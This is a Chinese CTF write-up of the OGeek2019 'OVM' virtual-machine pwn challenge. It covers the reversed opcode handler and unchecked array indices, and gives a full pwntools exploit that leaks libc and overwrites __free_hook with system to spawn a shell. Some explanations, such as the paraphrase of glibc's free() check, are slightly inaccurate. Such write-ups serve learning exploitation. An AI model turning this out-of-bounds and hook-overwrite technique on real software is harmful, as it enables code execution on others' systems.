[OGeek2019 Final]OVM——详细入门VM pwn

2023-10-07 18:59

本文主要是介绍[OGeek2019 Final]OVM——详细入门VM pwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

是一个入门级别的题目,但是花了非常久的时间整理

刚拿到题目进行反编译的时候是非常懵逼的,因为我确实不知道这是干啥的 查了下资料 原理大概如下 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

初始化分配模拟寄存器空间(reg) 初始化分配模拟栈空间(stack) 初始化分配模拟数据存储空间(data) 初始化分配模拟机器指令(opcode)空间(text)

也就是说,我们给程序输入一串指令,这个程序会有自己独特的,对代码的理解,并进行像分解成机器码那样,执行,而像寄存器,栈空间,存储空间都是程序自己设计的,而不是系统分配的

首先看看主函数 一开始要求输入var_C,var_Ae的时候实属懵逼,这究竟是要干啥?

昨晚题目,个人认为var_A,var_C没啥用,至少在这一题上没什么用,但是并不意味着它们的值可以乱设置,因为根据代码,它们分别决定了code_size和code在内存的位置(很容易看代码得出)

主函数的逻辑大概就是,首先让你输入var_C(可以近似看成RIP),var_A(可以近似看成RSP),然后让你输入代码,而这个代码接下来就要经过处理,首先这个代码是被放在memory数组里面的,然后经过一个判断,如果低三位没有数据,则最高位就用0xe0来填充

接着进入了一个while循环语句,很明显,这就是拆解代码,类似于整理成机器码 进入fetch()函数:

__int64 fetch()
{int v0; // eaxv0 = reg[15];reg[15] = v0 + 1;return memory[v0];
}

就类似于RIP执行完一条指令自动往后走的作用

接着我们点开核心代码execute()
 

ssize_t __fastcall execute(int code)
{ssize_t opcode; // raxunsigned __int8 op2; // [rsp+18h] [rbp-8h]unsigned __int8 op1; // [rsp+19h] [rbp-7h]unsigned __int8 dest; // [rsp+1Ah] [rbp-6h]int i; // [rsp+1Ch] [rbp-4h]dest = (code & 0xF0000u) >> 16;               // 目的寄存器op1 = (code & 0xF00) >> 8;                    // 操作寄存器1op2 = code & 0xF;                             // 操作寄存器2opcode = HIBYTE(code);if ( HIBYTE(code) == 0x70 ){opcode = reg;reg[dest] = reg[op2] + reg[op1];            // 目的寄存器=操作寄存器1+操作寄存器2return opcode;}if ( HIBYTE(code) > 0x70u ){if ( HIBYTE(code) == 0xB0 ){opcode = reg;reg[dest] = reg[op2] ^ reg[op1];          // 目的寄存器=操作寄存器1 ^ 操作寄存器2return opcode;}if ( HIBYTE(code) > 0xB0u ){if ( HIBYTE(code) == 0xD0 ){opcode = reg;reg[dest] = reg[op1] >> reg[op2];       // 右移位运算return opcode;}if ( HIBYTE(code) > 0xD0u ){if ( HIBYTE(code) == 0xE0 ){running = 0;if ( !reg[13] )                       // 如果_rsp不为空return write(1, "EXIT\n", 5uLL);}else if ( HIBYTE(code) != 0xFF ){return opcode;}running = 0;for ( i = 0; i <= 15; ++i )printf("R%d: %X\n", i, reg[i]);return write(1, "HALT\n", 5uLL);}else if ( HIBYTE(code) == 0xC0 ){opcode = reg;reg[dest] = reg[op1] << reg[op2];       // 左移位运算}}else{switch ( HIBYTE(code) ){case 0x90u:opcode = reg;reg[dest] = reg[op2] & reg[op1];      // 进行与运算break;case 0xA0u:opcode = reg;reg[dest] = reg[op2] | reg[op1];      // 进行或运算break;case 0x80u:opcode = reg;reg[dest] = reg[op1] - reg[op2];      // 减法运算break;}}}else if ( HIBYTE(code) == 0x30 ){opcode = reg;reg[dest] = memory[reg[op2]];}else if ( HIBYTE(code) > 0x30u ){switch ( HIBYTE(code) ){case 0x50u:LODWORD(opcode) = reg[13];reg[13] = opcode + 1;opcode = opcode;stack[opcode] = reg[dest];break;case 0x60u:--reg[13];opcode = reg;reg[dest] = stack[reg[13]];break;case 0x40u:opcode = memory;memory[reg[op2]] = reg[dest];break;}}else if ( HIBYTE(code) == 0x10 ){opcode = reg;reg[dest] = code;}else if ( HIBYTE(code) == 0x20 ){opcode = reg;reg[dest] = code == 0;}return opcode;
}

可以看到我们之前输入的code果然被分解了,每个字节被分别分配给了四个变量,分别可以认为是操作码,目的寄存器,操作寄存器1,操作寄存器2.

接下来就是最烦人的逆向了,经过一系列有耐心的分析后,我们可以得出这样一个结论:

mov reg, src2		 	0x10 : reg[dest] = src2
mov reg, 0				0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^          	        	0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper

经过搜查资料可以知道,这种VM pwn最常见的漏洞点就是数组溢出,往往因为不检查数组下标而容易发生内存泄露!

仔细分析代码都可以发现,这些操作都没有对数组的下标进行检查,这样会导致什么后果呢,举个例子,如果有一个重要数据B存在数组array[10]的内存前面,如果不对数组的下标进行检查的话,那么我就可以构造array[-1]并输出,就可以得到B的内容了

我们接着分析代码:
 

 write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);read(0, comment, 140uLL);sendcomment(comment);write(1, "Bye\n", 4uLL);return 0;

在这一段中,程序往comment存储的内容指向的地址输入东西,而comment是bss段上的数据,同样可以因为不检查下标通过输入负数可以被操作到,这样攻击思路就出来了。

利用思路: 1.先任意读把stderr的地址,分高低地址读到两个寄存器中 2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址 3.任意写把bss段comment存的堆地址改写为free_hook地址-8 4.执行print功能泄露地址,算出libc_base,得出system 5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system), 最后free时就会执行system(’/bin/sh’)

下面是错误的exp(用ubuntu20.04疯狂攻击,发现只有在16.04行得通,但是思路是对的,exp网上搜得到)
 

from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
libc=ELF('./libc-2.23.so')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def code_generate(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return resio.recvuntil(b"PC: ")
io.sendline(b'0')
io.recvuntil(b"SP: ")
io.sendline(b'1')
io.recvuntil(b"CODE SIZE: ")
io.sendline(b'33')
io.recvuntil(b"CODE: ")
gdb.attach(io)
pause()
io.sendline(str(code_generate(0x10, 0, 0, 26)).encode('utf-8')) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]print("---------------------------------------------------------------------------------")
io.sendline(str(code_generate(0x30, 2, 0, 1)).encode('utf-8')) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
io.sendline(str(code_generate(0x10, 0, 0, 25)).encode('utf-8')) #reg[0] = 25
io.sendline(str(code_generate(0x10, 1, 0, 0)).encode('utf-8')) #reg[1] = 0
io.sendline(str(code_generate(0x80, 1, 1, 0)).encode('utf-8')) #reg[1] = reg[1] - reg[0]
io.sendline(str(code_generate(0x30, 3, 0, 1)).encode('utf-8')) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
io.sendline(str(code_generate(0x10, 4, 0, 1)).encode('utf-8')) #reg[4] = 1
io.sendline(str(code_generate(0x10, 5, 0, 14)).encode('utf-8')) #reg[5] = 14
io.sendline(str(code_generate(0xC0, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]<<reg[5]#reg4=0x4000
io.sendline(str(code_generate(0x10, 5, 0, 1)).encode('utf-8')) #reg[5] = 1
io.sendline(str(code_generate(0x10, 6, 0, 12)).encode('utf-8')) #reg[6] = 12
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x1000
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5000io.sendline(str(code_generate(0x10, 5, 0, 3)).encode('utf-8')) #reg[5] = 3
io.sendline(str(code_generate(0x10, 6, 0, 10)).encode('utf-8')) #reg[6] = 10
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0xc00
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c00io.sendline(str(code_generate(0x10, 5, 0, 2)).encode('utf-8')) #reg[5] = 2
io.sendline(str(code_generate(0x10, 6, 0, 5)).encode('utf-8')) #reg[6] = 5
io.sendline(str(code_generate(0xC0, 5, 5, 6)).encode('utf-8')) #reg[5] = reg[5]<<reg[6]  reg[5]=0x40
io.sendline(str(code_generate(0x70, 4, 4, 5)).encode('utf-8')) #reg[4] = reg[4]+reg[5]#reg4=0x5c40io.sendline(str(code_generate(0x10, 6, 0, 11)).encode('utf-8')) #reg[6] = 11
io.sendline(str(code_generate(0x80, 4, 4, 6)).encode('utf-8')) #reg[4] = reg[4] - reg[6]io.sendline(str(code_generate(0x70, 2, 4, 2)).encode('utf-8')) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x5c48,这里使用0x10a0,求得freehook-0x8的位置io.sendline(str(code_generate(0x10, 4, 0, 8)).encode('utf-8')) #reg[4] = 8
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 2, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[2] #改comment指向free_hook
io.sendline(str(code_generate(0x10, 4, 0, 7)).encode('utf-8')) #reg[4] = 7
io.sendline(str(code_generate(0x10, 5, 0, 0)).encode('utf-8')) #reg[5] = 0
io.sendline(str(code_generate(0x80, 5, 5, 4)).encode('utf-8')) #reg[5] = reg[5] - reg[4]
io.sendline(str(code_generate(0x40, 3, 0, 5)).encode('utf-8')) #memory[reg[5]]=reg[3]
io.sendline(str(code_generate(0xE0, 0, 1, 1)).encode('utf-8')) #exitio.recvuntil(b"R2: ")
low = int(io.recvuntil(b'\n').strip(), 16) + 8
io.recvuntil(b"R3: ")
high = int(io.recvuntil(b'\n').strip(), 16)
free_hook = (high<<32)+lowlibc_address = free_hook - 0x2234a8
system = 0x53d60+libc_address+11
print(hex(system))
io.recvuntil(b"HOW DO YOU FEEL AT OVM?\n")io.sendline(b'/bin/sh\x00'+p64(system))io.interactive()

可恶啊,一直打不通
 发现报错,真是奇怪,明明和网上wp都差不多,于是我打开glibc源码对比2.23和2.27,发现2.27多了一个这样的检查:

  /* Little security check which won't hurt performance: theallocator never wrapps around at the end of the address space.Therefore we can exclude some size values which might appearhere by accident or by "design" from some intruder.  */if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)|| __builtin_expect (misaligned_chunk (p), 0))malloc_printerr ("free(): invalid pointer");

这段代码是一个内存分配器的安全性检查部分。它主要包含两个条件判断语句,用于验证给定的指针p和大小size是否有效。

第一个条件判断语句检查指针p是否超出了地址空间的范围。如果p大于等于0且小于等于可用的地址空间大小减去size,则认为p是有效的。否则,会调用malloc_printerr("free(): invalid pointer")打印错误信息。

第二个条件判断语句检查给定的大小size是否小于最小分配块的大小(MINSIZE)或者不满足对齐要求。如果满足这些条件,则认为size是无效的。否则,不会发生任何操作。

这两个条件判断语句的目的是确保在进行内存释放操作之前,所提供的指针和大小都是有效的。这样可以避免潜在的安全漏洞或错误。

而2.23则没有这个检查,哎学到了,不是malloc出来的地址它不要,难绷

学到了

这篇关于[OGeek2019 Final]OVM——详细入门VM pwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/159793

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多

【IPV6从入门到起飞】5-1 IPV6+Home Assistant(搭建基本环境)

【IPV6从入门到起飞】5-1 IPV6+Home Assistant #搭建基本环境 1 背景2 docker下载 hass3 创建容器4 浏览器访问 hass5 手机APP远程访问hass6 更多玩法 1 背景 既然电脑可以IPV6入站,手机流量可以访问IPV6网络的服务,为什么不在电脑搭建Home Assistant(hass),来控制你的设备呢?@智能家居 @万物互联

poj 2104 and hdu 2665 划分树模板入门题

题意: 给一个数组n(1e5)个数,给一个范围(fr, to, k),求这个范围中第k大的数。 解析: 划分树入门。 bing神的模板。 坑爹的地方是把-l 看成了-1........ 一直re。 代码: poj 2104: #include <iostream>#include <cstdio>#include <cstdlib>#include <al

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就

沁恒CH32在MounRiver Studio上环境配置以及使用详细教程

目录 1.  RISC-V简介 2.  CPU架构现状 3.  MounRiver Studio软件下载 4.  MounRiver Studio软件安装 5.  MounRiver Studio软件介绍 6.  创建工程 7.  编译代码 1.  RISC-V简介         RISC就是精简指令集计算机(Reduced Instruction SetCom

arduino ide安装详细步骤

​ 大家好,我是程序员小羊! 前言: Arduino IDE 是一个专为编程 Arduino 微控制器设计的集成开发环境,使用起来非常方便。下面将介绍如何在不同平台上安装 Arduino IDE 的详细步骤,包括 Windows、Mac 和 Linux 系统。 一、在 Windows 上安装 Arduino IDE 1. 下载 Arduino IDE 打开 Arduino 官网

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显

C语言指针入门 《C语言非常道》

C语言指针入门 《C语言非常道》 作为一个程序员,我接触 C 语言有十年了。有的朋友让我推荐 C 语言的参考书,我不敢乱推荐,尤其是国内作者写的书,往往七拼八凑,漏洞百出。 但是,李忠老师的《C语言非常道》值得一读。对了,李老师有个官网,网址是: 李忠老师官网 最棒的是,有配套的教学视频,可以试看。 试看点这里 接下来言归正传,讲解指针。以下内容很多都参考了李忠老师的《C语言非